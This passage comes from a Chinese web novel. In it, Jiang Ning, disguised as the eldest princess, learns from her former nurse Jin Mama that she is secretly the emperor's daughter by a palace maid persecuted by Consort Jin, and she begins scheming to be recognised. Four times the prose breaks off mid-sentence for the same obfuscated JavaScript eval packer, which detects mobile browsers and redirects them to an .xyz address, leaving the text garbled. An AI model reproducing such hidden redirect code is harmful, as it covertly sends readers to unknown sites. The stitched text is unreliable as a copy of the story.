姜柠十分激动,但要等金妈妈她们回来之后再叙旧。 金妈妈却没看见城楼上的姜柠,她只知道昨天晚上睡着之后,突然有人敲门,告诉她有人赎了她一家,明天白天就可以回到南萧国了。 金妈妈不敢相信,但她们家马上被北胤士兵看守起来了。 第二天,全家人起床,稍微收拾一下细软,就被带出了城。 她到现在还迷迷糊糊的。 自从容城落入北胤手中,她每天都胆战心惊的,害怕被北胤士兵所杀。 没想到,她能离开沦陷的容城,还能带全家一起走? 她该不会是在做梦吧? 五岁的小孙女拉拉她的胳膊,道:“奶奶,这是哪里,我害怕……” 金妈妈赶紧安慰她:“别怕,我们马上要去前面的栾伊城了,那里是南萧国的地界,我们能回到自己国家了。” “为什么要离开我们自己的家,去另一个城?” “以后再跟你解释,现在先别说话。” 任将军对金妈妈道:“您就是礼部尚书家大小姐的乳母吧?” 金妈妈:“是……” “大公主赎了你们全家,会把你们带到姜家大小姐那里。你们跟我走吧。” “大公主?” 金妈妈不明白,大公主怎么会知道她呢,还特意赎她出来?大公主明明是嚣张跋扈的性子…… 很快,大皇子的马车进了城。 他身上绑着的绳子被解开了,他立刻跳下了马车,不悦地对任将军道:“任将军,为何这会才来接本王?” 任将军道:“大皇子恕罪,之前本来要送和亲公主去北胤,换回您的,但和亲一事耽搁了一个月。北胤新帝继位,说是不和亲了,只需送上一点财物,就能换回您。” “这还差不多,本王的亲姐姐,怎么能去和亲?姐姐在哪里?” 任将军指了指城楼:“大公主在上面。” 姜柠急着见金妈妈,已经走了下来。 大皇子一眼就认出姜柠不是大公主,他惊讶道:“你……” 他刚想揭破姜柠的身份,又觉得不妥,话到嘴边又忍住了。 他是见过姜柠本人的,虽然姜柠现在每天都化妆成大公主的模样,但对于亲近的人来说,还是一眼就能认出来。 因此,大皇子眼中已经没有了姐弟相见的热切,反而多了几分淡漠和傲慢。 他是皇子,面对着姜柠这样的臣女,身份高了一截,自然有傲慢的资本。 二皇子也上前行礼道:“大皇兄,您终于回来了,大家都盼了好久。” 大皇子却冷哼一声:“你巴不得我在北胤别回来吧?” 二皇子赶紧说道:“大皇兄,臣弟绝无此意……” “哼,你心里怎么想的,你自己清楚。” 尚书仆射孙方竹道:“大皇子,您若无大碍,是否今日便启程回京?皇上和贵妃娘娘都盼着见到您。” 大皇子道:“急什么?本王被羁縻在北胤那么久,每天吃不好,穿不好,睡不着,难道不该先给本王接风洗尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146992|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 孙正竹道:“是,下官欠考虑了。下官这就去筹办酒席。” 见大皇子这副颐指气使的做派,军中的一些军官都有些不屑,但也不敢说什么。 金妈妈站在一边,觉得眼前的姜柠有几分眼熟,但不敢认。她听别人称呼姜柠威大公主,便觉得姜柠真的是大公主。 于是,她上前下跪道:“民妇多谢大公主相救。民妇一家脱离敌军的统治,回到南萧国,都是承蒙大公主的关照。” 姜柠赶紧扶起金妈妈:“金妈妈不必多礼,本公主受姜家大小姐所托,把你赎出来。等本公主回京之后,会把你带上,让你去见姜家大小姐。” “多谢大公主……” 大公主突然变得这么好说话,金妈妈也有些惊讶。 在她印象里,大公主很凶,而且总是针对她家小姐姜柠。 她带姜柠的时候,姜柠还很小,但已经能看出姜柠跟大公主相像了。 每次大公主遇到姜柠,都会找她的麻烦,有时候连旁边的金妈妈也要一并受罚,金妈妈对大公主可谓是畏如猛虎。 尚书仆射孙正竹去筹办酒席,大皇子要找个地方休息一下。 他对潘县令道:“把县衙最好的房间收拾出来,本王要住。闲杂人等清除出去。” 潘县令道:“目前大公主和二皇子暂住在县衙,大皇子回来了,正好跟他们同住。” “谁要跟他们同住了?让他们搬走!县衙的房间留给我一个人住!” “但是,他们都是您的兄弟姐妹……” “我说的话你没听见吗?你项上人头想不想要了?” 潘县令不敢再说什么,看向姜柠和二皇子,为难道:“大公主,二皇子,你们看这……” 姜柠道:“无妨,我和二皇弟先搬到客栈去住吧,反正马上就要离开了。” 二皇子也道:“本王也没意见。” 见姜柠和二皇子倒是好说话,潘县令松了一口气。 他有些纳闷,为何大皇子连兄弟姐妹都如此排斥?大公主可是他的同母姐姐…… 不过,这宫闱之中的事,他不敢揣测,只需要按照吩咐去做就行了。 他吩咐衙役们把县衙的房间都打扫出来,姜柠和二皇子也把自己的行李搬走了。 大皇子大摇大摆地住了进去。 姜柠对冬香道:“冬香,一会我和小雪先去客栈收拾一下,你把金妈妈也带到同一间客栈来,安顿好她的家人,然后把她带到我这里。” “是。” 金妈妈自从进城后,大家都无暇顾及她,所以她一直局促不安地站在城门口。 她的家人也很纳闷,纷纷问她怎么回事。 金妈妈道:“我也不知道……” 过了一会,冬香过来道:“金妈妈,跟我走吧,公主去了客栈,说让你们也住进同一家客栈里。” 金妈妈十分谦让:“这怎么行……” “公主让你们住,你们就住,快走吧。一会公主还要见你呢。” “是,不知这位姑娘怎么称呼?” 冬香在她耳边小声说道:“金妈妈,我是冬香。” 金妈妈十分惊讶。冬香不是姜柠身边的丫环吗?为什么会在大公主身边?难道是同名同姓?还是别有缘故? 50. 秘密(修) 冬香看出了她的疑惑,小声道:“金妈妈,等会见了公主,你的一切谜团都解开了。” 很快,冬香就带着金妈妈全家来到了客栈。 冬香安顿好了金妈妈的家人,然后把金妈妈带到了姜柠的房间。 金妈妈赶紧下跪:“民妇见过大公主。” 姜柠赶紧扶起她:“金妈妈不必多礼,是我。” 金妈妈一脸困惑,她觉得眼前之人有几分熟悉,似乎不像是大公主,但又不敢十分确定。 姜柠干脆挑明了:“金妈妈,我是姜柠,我现在暂时跟大公主互换了身份。” “这……这是真的吗?大小姐为何要跟大公主互换身份?我就说嘛,大公主怎么可能特意赎我回来,是您就说得通了。” 姜柠道:“金妈妈,说来话长,我也没法明说。总之我现在对外的身份是大公主,但实际上我是姜柠。您在我面前不用紧张,我会把您带回京城,妥善安置。” “这样啊……那我还回姜家干活吗?” “不,大公主现在顶替我的身份住在姜家,您当然不能去姜家。我可以先给你们全家租一处宅院,让您安顿下来,以后的事再议。” “好吧,那就听您的。但是……但是以后我们一家该如何生活?” “等您安顿下来之后,可以慢慢找活计,总能养活自己的。等以后容城收复了,您还是能回老家去的。现在先暂时跟着我吧,不过关于我的身份,千万别泄露出去。” “好,我知道轻重的。” 接着,金妈妈看向冬香和小雪:“你们两个就是冬香和小雪……当年我离开姜家的时候,你们和大小姐一样,都是小孩。我还记得,你们三个喜欢一起玩,长得也可爱,现在都成了大姑娘了……冬香啊,刚才你说你叫冬香,我还不敢相认,没想到真的是我认识的那个冬香。” 冬香笑着挽着金妈妈的胳膊:“是我啊,我和小雪都跟您相处过好多年呢。后来您离开姜府,我们也时常牵挂您。” 小雪也上前笑道:“是啊,我小时候,您还经常给我扎小辫呢。金妈妈,没想到咱们能再聚。” 金妈妈:“这真是太好了……我以前从容城寄来的土特产,你们都吃过吗?” 冬香笑道:“当然吃过,您给大小姐寄东西,每回都是我和小雪先吃。有时候大小姐写信向您要东西,其实不是她自己的主意,而是我们让她这么写的。” “哈哈,你们两个大馋丫头。” 大家叙旧了一番,十分高兴。 金妈妈忽然看了看姜柠,叹息道:“莫非这真的是天意……” 姜柠问道:“金妈妈,您在说什么?” 金妈妈道:“大小姐,我有几句话,想单独跟您说。” 冬香问道:“金妈妈,有什么话连我和小雪都不能听吗?” 金妈妈却难得的严肃:“确实不能听,你们先出去吧。” 冬香和小雪惊讶地看了姜柠一眼,姜柠对她们点点头:“你们就先出去吧,有什么事我会叫你们的。” 冬香和小雪便走了出去,带上了门。 姜柠对金妈妈道:“金妈妈,现在您可以说了吧?是不是有什么重要的事?” 金妈妈犹豫了半晌,面有难色。 接着,她说道:“大小姐,你本就是公主命,如今阴差阳错有了公主的名分,这也是天意啊……” 姜柠吓了一跳:“金妈妈,您为何这样说?” 金妈妈道:“当年,夫人怀孕的时候,总是生病,担心胎儿难保。有人建议她,去寺庙拜一拜,求菩萨保佑胎儿。于是,夫人就带上我和几个丫环去了。当时,夫人的身孕已经七个月了。 她去的是京郊的枫叶庵。那座庵堂不大,但胜在少有人去,比较清静。 礼佛完毕后,夫人去客房休息,谁知却突然发动,即将生产。那时已经来不及回府了,只能在客房里生孩子。几个丫环手忙脚乱的,还好我当过稳婆,有经验,所以就指挥着丫环们给夫人接生。 没过多久,孩子出生了,可惜是个死胎。当时夫人已经晕过去了,丫环们没有经验,只顾着看夫人的情况。除了我,没人发现那个胎儿一生下来就死了。我当时没有声张,怕夫人伤心,但我也不知道怎么处理这个死婴。 夫人怀孕的艰难,我是看在眼里的。夫人天生体弱,不易有孕,她吃了很多偏方,才怀上了孩子。可孕期也是经常生病,一生病就有小产的征兆,都是靠吃药保胎。很多大夫都说这孩子未必能保住,即便生下来也未必能活。 而且,以夫人的身体状况,生下这一胎后,只怕也不会再有孕了。所以,这个孩子是夫人唯一的指望。可没成想,这孩子生下来就死了,这让夫人怎么承受得住? 我当时假意说抱孩子出去晒晒太阳,让丫环们照顾好夫人。实际上,我是想出去想想对策,到底要怎么说,才能让夫人减少悲伤。 这时,我却突然听见有人叫我。循着声音望去,我发现声音是从一间上了锁的房间里传出来的。我以为听错了,上了锁的房间里怎么会有人? 可是,那间屋子的窗户忽然打开了,里面果然有人,是个年轻女子,刚才就是她叫我。我问她有什么事,她说刚才听见隔壁有妇人生产,然后又看见我抱着孩子出来,她便猜测我是稳婆,问我能不能帮帮她。 我这才发现,这年轻女子脸庞消瘦,但肚子很大,显然是怀孕快足月了。我吓了一跳,心想这庵堂中怎么会藏有怀孕女子?看她的模样是俗家人,并不是出家人,莫非是某个香客借住在此?可是,这女子已经怀孕八九个月了,她的家人怎么会放心让她住在这儿呢? 但萍水相逢,我不便多问,只问她是不是快生了,希望我给她接生?她点头称是,但是我当时怀抱死婴,正十分发愁,没有心思帮她,于是便想拒绝。可这时,那姑娘发动了,神情很痛苦。 我顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146993|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得多想,决定帮她接生。我让她打开房门,她却说不能打开,让我从窗户爬进去。 我觉得很奇怪,但人命关天,我也顾不了许多,就从窗户爬了进去。进去之后,她忍着疼痛,先把窗户给关上了,然后对我说道:‘大娘,麻烦您帮我接生,但千万不能让别人看见。’ 我想问她为什么,但她这时已经疼得直冒冷汗,说不出话,我也就没有再问。让我没想到的是,这位姑娘虽然痛极了,但是一点声音都没有发出来,好像是刻意忍着的,把嘴唇都给咬破了。 我告诉她,妇人生产就没有不叫喊的,她不必强忍着。可是她只是摇了摇头,继续忍耐。我想,她可能有什么难言之隐。 屋子里有炉子、脸盆、毛巾、剪刀、针线等物,接生的物品倒是都备齐了,我不用出门,也能完成接生。看来这姑娘是早有准备。 我先把死婴放在一边,专心为那女子接生。好在没过多久,孩子就生下来了,是个健康的女婴。 可是,这女子却大出血,眼看就性命垂危了。我对她说,得赶紧去请大夫。她摇了摇头,说自己被人追杀,不能暴露行踪。能把孩子平安生下来,她已经死而无憾。 她求我把这个女婴带走,还把身上所有的钱都给了我。 我问她:‘是不是有人不希望你活着?’ 她点了点头。 我又问:‘对方知道你怀有身孕吗?’ 她说知道。 我说,你活不久了,如果死后尸体被对方发现,但孩子却没了,只怕那些人会到处寻找孩子,我没那个能力保全你的孩子。 她也觉得我说的有道理,如果让我带走孩子,最多不过是让孩子多活几天而已,最终可能还是会遇害。 这时,她瞥见我带来的那个死婴,问我:‘那个孩子是不是死了?’ 我说:‘是的,这是我们夫人的孩子,我还不知道该怎么回复夫人呢。’ 她说:‘我有个主意,你看看可不可行。你把那个死婴跟我的女儿调换,把我女儿抱到你家夫人那里,就说是她生的。把死婴留在我这里,就当是我生的。这样,我的女儿能活命,你家夫人也就不用伤心了。你放心,我没有任何占便宜的想法,我的女儿身份十分尊贵,她本来应该拥有锦衣玉食的人生。我刚才给你的钱,足够把她从小养到大了,请您帮帮我……’ 我一听,觉得这确实是个好主意。虽然要欺骗夫人,但至少能稳住夫人的情绪。夫人恐怕没法再生育了,她需要有一个亲生的孩子,否则人生太绝望了。但是,这女子身上谜团重重,我不敢轻易答应这件事。 于是,我对她说:‘你想让我帮你,至少得说明你是谁,这孩子是谁家的,你又为何会躲在这里?追杀你的人是谁?’ 于是,这女子对我说道:‘事到如今,我也只能实话告诉你了,但是请你千万不要泄露出去。’ 接着,她就说起了自己的身份来历。” 51. 拒绝(修) 姜柠聚精会神地听着,她已经隐隐猜中了当年的真相。不过,有些细节她还是没法理清。 她没有插话,只静静地听着。 金妈妈一口气说了好多话,喝了两口茶,接着说道:“这个年轻姑娘说,她本是高官之女,但因父亲获罪,她被没入宫中为奴。没过多久,皇帝看上了她,偷偷宠.幸过她几次,只是没有把她封为妃嫔。 后来她发现自己怀有身孕,本想告诉皇上,但没想到被一位姓靳的妃嫔先知道了。那位靳妃把持后宫,容不下她,想要杀了她。还好她家在宫中还有一些残余的势力,一些受过她父亲恩惠的宫人们偷偷救了她,把她送出宫去。 但是,靳妃的人紧追不舍,她好几次差点被发现了。后来,她躲进了枫叶庵中,对住持说自己被人追杀。住持慈悲为怀,也没有问她为何被人追杀,直接让她躲藏在了庵堂中。为了掩人耳目,她住的那间屋子上了锁,营造出没人居住的假象。 她一直在屋里没出门,直到现在。 所以,她的女儿其实是公主。 她还给了我一个手镯,说是信物。以后若有机会,可凭借这个镯子,让公主和皇上相认。 大小姐,您就是这个女婴,也就是真正的公主。您的生日,还在大公主之前。所以,论资排辈,您才是真正的大公主。” 姜柠震撼不已:“金妈妈,您说的可是真的?” “老身所说,没有半句虚言。” 姜柠流下泪来:“这么说,我的亲生母亲在生下我之后就过世了?” 金妈妈叹息道:“是啊,她不敢请大夫,所以就……如果她的行踪暴露,不仅您和她自己有危险,还会连累到我。” “那后来呢?” “我把死婴留在她那里,抱着您来到了夫人的房间。夫人刚好醒来,见到您,十分高兴,以为是自己的亲生女儿,对您很好。不过,夫人因为这次生产元气大伤,也确实失去了生育能力。过了几年,夫人也因为身体不好过世了。又过了一两年,老身的典身契到期,就回了老家,这个秘密也就一直埋在了老身心里。” “我亲生母亲留下的镯子,现在在哪里?” “我一直放在夫人房间的一个箱子里,那个箱子收纳的都是夫人平时不喜欢的东西,所以夫人也不会打开。自从夫人过世,老爷吩咐把夫人的房间维持原样,不得搬动里面的东西,所以那个镯子应该一直在那里吧。等有机会,老身可以去拿出来。” “我的亲生母亲叫什么名字?” “她说她叫章霜质,父亲本是吏部尚书。因她父亲举荐的一些官员都犯了大罪,她父亲被连坐,因而全家男眷流放,女眷为奴。她进宫当宫女后,是在靳妃的宫里做事。所以,她受到宠.幸、后来怀孕,逃不过靳妃的眼睛。” 姜柠心中明白,当年的靳妃,应该就是如今的靳贵妃了。 靳妃专宠多年,所以一直骄横霸道、铲除异己,没想到姜柠的母亲也是她手下的亡魂之一。 如果说姜柠以前只是畏惧、忌惮她,如今对她便多了一层憎恨。 杀母之仇,不共戴天。 虽然她亲生母亲是因为产后大出血去世的,但若非靳贵妃苦苦相逼,她母亲也不至于不敢请大夫,延误了治疗的时机,一命呜呼。 她终于明白自己为何会跟大公主萧梦苒长得像,因为她们本就是同父异母的姐妹,长得都像父亲。 以前的姜柠身不由己,但现在她既然有了这个身份,就大有可为了。 她问金妈妈:“除了那个镯子之外,还有什么能证明我是公主的线索吗?比如我身上的胎记?或是其他信物?” 金妈妈道:“信物只有那一件,您身上也没有什么胎记。便是有,也无法证明您是谁的女儿啊。” “说的也是。若想恢复公主身份,可能只能凭借那块玉佩了。” “大小姐,您的意思是,您要跟皇上相认?” “没错,不过此事还要从长计议。金妈妈,您先替我保密。” “这个我知道的。不过,只凭一个镯子,万一皇上不认,或是认不出来怎么办?” 姜柠道:“世上没有两个一模一样的镯子,我的生母在危难之中还将那个镯子带在身边,显然那个镯子对她很重要,很可能就是皇上所赠。也许皇上还记得这个镯子,要是不记得,我凭借着跟大公主相似、跟皇上也相似的容貌,也可以增加可信度。” “可是,如今仍然是靳贵妃当权……” “我会想个法子,避开靳贵妃的耳目。当务之急,是拿到那个镯子。对了,当年我的养母姜夫人,生的是儿子还是女儿?” “她生的是儿子,已经随着章小姐一同下葬了。” “那个男婴身上可有什么明显特征吗?” “没有吧……就算有,这么多年,尸体早就化为白骨,什么线索都没了。” “这倒是……那您可在那个男婴身上留下什么东西吗?” “让我想想……我当时把两个孩子调换,想着小少爷不能葬在自家祖坟,实在可怜,便把夫人的一个蝴蝶金簪放在了他的襁褓当中。如果没人拿走那个簪子的话,现在应该还在。” “我的生母和那个男婴埋在哪里?” 金妈妈道:“你的生母过世后,果然有几个黑衣人潜入房中查看。他们见母子俱亡,就直接离开了,什么也没说,也没有带走尸体。 我躲在暗处观察,发现黑衣人走了,便去找住持师太,商议将两具尸身安葬一事。 庵中刚好有一口薄棺,是个开寿材店的老板捐的,还没人使用过,便给章小姐和那男婴用了。住持师太和几个年轻力壮的尼姑一起将母子二人埋在了枫叶庵的后山之中。 为了让她们母子的亡魂安宁,不被人打扰,便没有立碑,也没有坟堆,而是尽力掩盖,还在坟上面种了树,别人看不出这底下埋着人。” 姜柠心中既悲伤,又为枫叶庵几位师太的善心和智慧所感动。 若有机会,她自然要去祭奠生母和那个男婴的。 有了这些线索,应该足够她认亲了。 只是,这事要如何掩人耳目,还需仔细想想。 她本想去找二皇子商议,看二皇子能不能帮她的忙。 但她想到,二皇子生性懦弱谨慎,恐怕不会为她出这个头。二皇子还有生母在宫中,他一举一动都要为自己的生母考虑。 其生母卑微,肯定不敢跟靳贵妃抗衡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146994|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有避开靳贵妃耳目的能力。 姜柠觉得,自己还是不要拖累二皇子为好。 她又想到了三皇子萧奕贺。 三皇子年纪虽不大,但勇敢好义,敢于直谏,也许愿意帮姜柠。但一来他现在不在这儿,姜柠也不确定回了京城后能不能第一时间见到他;二来他并不得皇帝喜爱,如果帮姜柠说话,万一事情不谐,说不定还要连累他。 姜柠暂时也没什么好主意,只能让自己先冷静下来。 她对金妈妈说道:“金妈妈,将来我去跟皇上认亲,您可愿意为我作证?若皇上肯认我,我为您请封诰命夫人。” 金妈妈道:“此事……风险太大了。若是皇上认下了你,那自然是好,我也不在乎什么封赏。但若是皇上说我们说谎,要治我们的罪,那可是会连累我们的家人的……我要是孤身一人,帮也就帮了,但我有好几个家人,所以……” 姜柠道:“金妈妈,您的顾虑我明白,我也不能保证此事绝无风险。这样吧,我再想想。” 金妈妈有些愧疚:“大小姐,你救我出来,我却不愿帮你作证,你会不会怪我?” “不会。跟皇上认亲本就是一件风险很高的事,我不能拿你全家的性命去冒险。你能把我的身世如实告知,我已经很感激了。” 金妈妈心中又犹豫,又愧疚。她觉得,如果自己不出来作证,这件事几乎没有成功的可能,毕竟自己是唯一知道内情的人了。 但是,她也确实不敢冒险。 姜柠倒是能理解金妈妈,她心里没有责怪金妈妈的意思,只是满脑子想着该怎么做。 这公主,她是一定要当的。 —— 晚上,尚书仆射孙方竹在酒楼设宴,给大皇子接风洗尘。 大皇子倒完全没有惭愧之意,大摇大摆地就坐在了主位上。他那得意洋洋的样子,不像是刚被释放的俘虏,反而像是得胜归来的将军一般。 姜柠、二皇子、任将军、潘县令等人自然在席上作陪。 今天的酒席说不上十分丰盛,但也种类众多,荤素搭配,色香味俱全,比一般官员的伙食要好一些。许多菜是由将士们打来的野味做成的,虽然做法简单,但看着很有食欲。 大皇子看了席面一眼,却有些嫌弃:“孙大人,你就给本王吃这个?这有好几道菜,都黑乎乎的,连个装饰也没有。还有这是什么?小葱炒鸡蛋?这么敷衍的菜也端上来?” 孙方竹道:“栾伊城本就贫瘠,又供养了两万虎贲军许久,城中食物不多,能置办出这样的酒席已属不易。请大皇子将就着吃吧。” “哼,罢了,随便吃点吧。明天就离开这破地方。” 大皇子看得上眼的菜不多,他只吃了一点点菜,饭倒是吃了几碗。 姜柠和二皇子倒不嫌弃,每样菜都尝了一些。 大皇子吃完就离席了,其他人继续吃。 潘县令对孙方竹道:“孙大人,听闻您以前当过刑部尚书,善于断案。我们城中有一些积压的案子,理不清头绪,不知一会可否向您请教?” 孙方竹道:“当然可以。等吃完饭后,本官就随你去看看卷宗。” 姜柠在一边听着,忽然灵光一闪。 52. 套话(修) 吃完饭后,孙方竹跟潘县令去了县衙的架阁库,讨论以前积压的案件。 姜柠也回到了自己下榻的客栈,但她偷偷叫一个侍卫去县衙门口守着,如果孙方竹大人出来了,就让他来客栈一叙。 大约一个时辰后,孙方竹出了县衙。 侍卫出现,对他说道:“孙大人,大公主有请。” 孙方竹看了一眼天空,道:“现在天色已晚……” “大公主只是有事请教,在客栈大堂等您,很快就好。” “那老夫就随你走一趟吧。” —— 姜柠在客栈的大堂等了许久,终于等到了孙方竹。 孙方竹问道:“公主可是有事要找微臣?” 姜柠点头:“正是,我有一事想请教。” 姜柠环顾四周,见大堂里还是有一些伙计和客人,道:“这里说话不方便,能不能出去说?” “可以。” 姜柠带着孙方竹来到附近的一个小巷子中,问道:“孙大人,您是否做了许多年的刑部尚书?” “是,大概做了十几年吧。” “那您一定精通刑狱验尸之术了?” “是的。公主莫非也有案子想请下官帮忙?” “不是,我只是想请教一件事。若是有人的生母过世十几年,已成一副枯骨,有没有办法检验此人和这具骸骨是否具有血缘关系?” 孙方竹沉吟道:“倒是也有一个办法……” 接着,他说了几句话。 姜柠的眼神越来越亮,高兴道:“多谢孙大人指教。” “公主不必客气。只是,公主为何会有此问啊?” “哦,是我最近在读一些探案类的话本,所以想多了解一些这方面的知识。” “原来如此。那公主何须深夜相邀,明日也可询问嘛。” “是我突然想到这个问题,所以想马上得到答案。等到明天,兴许就忘了。” “原来如此。公主既已解惑,微臣就告退了。” “哎等等……孙大人,本公主还有一事请教。” “公主请说。” 姜柠斟酌了一下言辞,道:“宫里有个小太监,聪明伶俐,又十分忠心。我想把他引荐到我父皇身边去做事,这样我父皇能多一个得力的帮手,那小太监也能多挣点钱。但有个难处,就是我的母妃靳贵妃并不喜欢那个小太监。 如果她事先知道我要引荐那小太监,一定会出来阻止。 有什么办法能悄悄引荐那个小太监,不被我母妃发现?只要父皇成功留下他,之后我母妃有没有发现就无关紧要了。” 孙方竹疑惑道:“那个小太监就算再好,皇上身边也不会缺了办事的人,您何必如此大费周章呢?既然您的母妃不喜欢那个小太监,不如就不举荐了吧。” “可是,父皇为国事操劳,我这个做女儿的,想让他的生活过得舒适些。那小太监很有眼色,学东西也快,最重要的是年纪很轻,如果到我父皇身边去,可以服侍我父皇很多年。身边常用的人,还是用久了比较好,频繁更换下人反而有许多不顺心之处。 而且,那小太监确实很有本事,又识文断字,是个人才,却只能在杂役房工作。我不忍他就此埋没,也想给他一条更好的出路。之前我曾让他帮我做事,他每件事都办得很不错。 我想,太监虽是下人,但待的岗位好与不好,过的日子千差万别,这可是一辈子的事。 我既然发现那小太监的才能,怎能让他埋没?说不定他到我父皇身边后,能帮助我父皇,让我父皇在后宫的生活更轻松、更自在。从长远来看,也对国家有利。” 孙方竹:“原来如此,看来公主很赏识那小太监。他是不是贿赂公主了?” “没有,是我无意间发现他的。他在杂役房里,总是受欺负,但从不惹事,还能抽空学习。有时候吃了亏,他也不在意。上司交代的事,他总能办得很好,可谓是人品才干俱佳。” “如果他真的这么优秀,靳贵妃怎么会不喜欢他呢?而且,他既然在杂役房里,想必是个很不起眼的太监,靳贵妃又怎么会认识他?” 姜柠也知道自己编的这些话有许多漏洞,只能尽力去圆:“是这样的,我母妃有一次罚跪了一个低位妃嫔,那个妃嫔的膝盖因此受伤,但我母妃不许太医给她医治。那个小太监去那个妃嫔那里干活的时候,发现了妃嫔受伤的事,就偷偷给那妃嫔送药了。 我母妃听说了这事后,就有点厌恶那个小太监。但因为那小太监实在太不起眼,没有专门责罚的必要,我母妃也就没在意。” “原来如此,这倒挺符合靳贵妃一惯的……” 孙方竹本想说,这倒挺符合靳贵妃一惯的风格,但忽然意识到说错话了,赶紧找补:“老臣的意思是,靳贵妃管理后宫,一向比较严厉,那小太监得罪了她也是正常的。但靳贵妃毕竟宽大为怀,没有责罚那小太监,可见其严厉只是表象,实际上十分体恤下人。 公主慧眼识珠,发现那小太监的优点,想举荐他到皇上身边,这是公主的一片善心和孝心。 不过,此事若要瞒过贵妃娘娘的话,可以请另一个人相助。” 姜柠问:“大人说的是谁?” “就是温妃娘娘。温妃娘娘秉性宽仁,和顺可亲,经常加恩于下人。而且她个性温顺,八面玲珑,即便是再难相处的妃子,跟她关系也不错。若是由她出面举荐那小太监,贵妃娘娘一定会认为是温妃自己的主意,而不会怀疑到公主身上。这样,贵妃和大公主母女之间,也可以少些误会和矛盾。” 姜柠了然道:“原来是她……只是,我是贵妃之女,我母妃平时得罪的人很多,温妃娘娘虽然表面上不说什么,也许心里记恨。她怎么肯帮我?” “温妃娘娘的内心,老臣不敢妄加揣测。不过,一个人既然表面上是和气柔顺好说话的样子,您去求她办一件无伤大雅的事,她没有理由拒绝。此事无关公主或贵妃娘娘的切身利益,只是提拔一个还不错的小太监去皇上身边。温妃娘娘若主动去做这件事,还能讨好圣上,我想她会愿意的。” 姜柠道:“多谢孙大人指点,本公主茅塞顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146995|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。” “公主客气了。若没有其他事,老臣先告退了。” “好。” 姜柠回到房间,想了一会。 宫里确实有个温妃,除了靳贵妃外,她是最受宠的。 据说,她年轻时曾为皇帝挡剑,伤了肚子,从此不能生育。所以,皇帝对她有愧疚、感恩之心。 尽管温妃没有孩子,家世也不高,但皇帝还是让她成为四妃之一。有什么赏赐,也从来不忘了温妃那份。 这些年,宫中的妃嫔来来去去,生生死死,只有温妃屹立不倒。 温妃表面上和善,但她能在靳贵妃的淫.威之下存活下来,想必也是有本事的,不是一味的柔弱可欺。 刚才姜柠所说的举荐小太监的话,都是临时编的,目的就是套出有谁能躲过靳贵妃的耳目做事。 温妃倒是个合适的人选,只是姜柠从未见过她,而且姜柠要做的是跟皇帝相认这种大事,温妃就算广结善缘,也未必愿意淌这趟浑水。 该怎样搭上温妃这条线呢? 姜柠决定问问二皇子。 二皇子就住在她隔壁,她让冬香过去问问二皇子睡着没有。若是没睡,请他到走廊说话。 过了一会,冬香回来道:“二皇子还没睡。他说他穿件外袍,就去走廊上等您。” 姜柠点头:“嗯,我也出去一趟,你们不必跟着。” 在明面上,姜柠和二皇子是姐弟。现在姜柠心里知道,她跟二皇子真的是姐弟。 但二皇子现在还不知道这一层关系。 所以,姜柠不便在深夜进入二皇子的房间,只把他约在了走廊上。 而且,即便是亲姐弟,半夜待在同一房间也是不妥的。 姜柠来到走廊上,见二皇子一个人站在角落里,侍卫们都站得远远的。如果姜柠低声说话,侍卫们应该听不见。 以前,姜柠知道自己的身份,所以对二皇子私底下比较客气。 但现在,她知道二皇子是她亲弟弟,便生出了几分亲近之意。 二皇子道:“皇姐,深夜相召,所为何事?” 姜柠问道:“我想问,你跟温妃娘娘是否熟悉?” “还算熟悉,温妃娘娘待人和气,对我也不错,是少数几个关照我的宫里人之一。” “那你若是求温妃娘娘什么事,她会答应吗?” “我从未求过温妃娘娘,不过若是一些简单的事,想必她会答应的。” “我有一个镯子,想请温妃娘娘转交给皇上,看皇上认不认识。若是皇上认出来了,询问这个镯子的来历,就请温妃娘娘说出我来,让我去见皇上,解释一番。若是皇上没认出来,就请温妃娘娘将镯子还我。” “为何要这么做?皇姐若有东西要交给父皇,我代为呈交也是一样。” 